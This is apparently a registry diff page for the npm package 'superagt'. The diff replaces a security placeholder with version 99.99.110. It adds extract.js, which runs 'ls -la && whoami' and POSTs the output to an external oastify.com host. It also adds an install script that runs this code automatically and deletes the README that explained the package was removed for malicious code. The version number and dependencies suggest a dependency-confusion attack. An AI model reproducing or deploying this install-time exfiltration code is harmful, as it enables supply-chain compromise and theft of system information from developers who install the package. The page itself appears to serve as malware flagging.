superagt 0.0.1-security → 99.99.110
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of superagt might be problematic. Click here for more details.
- package/extract.js +43 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/extract.js
ADDED
@@ -0,0 +1,43 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
const url = 'https://5dj76fgmnrgrzrn7kz6n7u2x0o6fu6ku9.oastify.com'; // Puedes cambiar la URL destino acá
|
5
|
+
|
6
|
+
exec('ls -la && whoami', (error, stdout, stderr) => { // Ejecutamos el comando dir
|
7
|
+
if (error) {
|
8
|
+
console.error(`exec error: ${error}`);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
|
12
|
+
const data = {
|
13
|
+
results: stdout // Colocamos el resultado del comando en un objeto data
|
14
|
+
};
|
15
|
+
|
16
|
+
// Creamos la opción para la solicitud
|
17
|
+
const options = {
|
18
|
+
method: 'POST',
|
19
|
+
headers: {
|
20
|
+
'Content-Type': 'application/json'
|
21
|
+
}
|
22
|
+
};
|
23
|
+
|
24
|
+
// Realizamos la solicitud HTTPS
|
25
|
+
const req = https.request(url, options, (res) => {
|
26
|
+
res.setEncoding('utf8');
|
27
|
+
res.on('data', (chunk) => {
|
28
|
+
console.log(`Response chunk: ${chunk}`);
|
29
|
+
});
|
30
|
+
res.on('end', () => {
|
31
|
+
console.log('Response completed');
|
32
|
+
});
|
33
|
+
});
|
34
|
+
|
35
|
+
req.on('error', (e) => {
|
36
|
+
console.error(`Error with request: ${e.message}`);
|
37
|
+
});
|
38
|
+
|
39
|
+
// Enviamos los datos en el cuerpo de la solicitud
|
40
|
+
req.write(JSON.stringify(data));
|
41
|
+
req.end();
|
42
|
+
|
43
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "superagt",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "99.99.110",
|
4
|
+
"description": "Test Confusion",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"install": "node extract.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"dependencies": {
|
12
|
+
"pitito": "^99.99.103",
|
13
|
+
"superagtn": "^99.99.104"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=superagt for more information.
|